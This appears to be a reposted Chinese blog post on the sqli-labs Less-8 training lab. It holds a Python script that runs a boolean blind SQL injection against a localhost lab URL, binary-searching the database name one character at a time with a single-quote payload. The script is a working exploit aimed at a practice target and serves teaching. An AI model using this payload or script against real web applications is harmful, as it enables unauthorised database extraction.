【Python】測試布爾型盲注腳本


sqli-labs第八關:單引號布爾型盲注,手工測出database長度,個人覺得手工比較快

然后使用腳本測database內容,這個腳本就比手工快多了,腳本內容如下:

 1 import sys
 2 import requests
 3 
 4 url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
 5 payload="' and ascii(substr(database(),%s,1))>%s --+"
 6 database=''
 7 print("Start to retrive the database")
 8 for i in range(1,9):
 9     max=122    #z
10     min=65    #A
11     while abs(max-min)>1: 
12         mid=int((max+min)/2)
13         p=payload % (str(i),str(mid))
14         response=requests.get(url % p)
15         if response.content.find("You are in")!=-1:
16             min=mid
17         else:
18             max=mid
19     database=database+chr(max)
20     print("the database is :%s" % database)            

 

測試結果:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM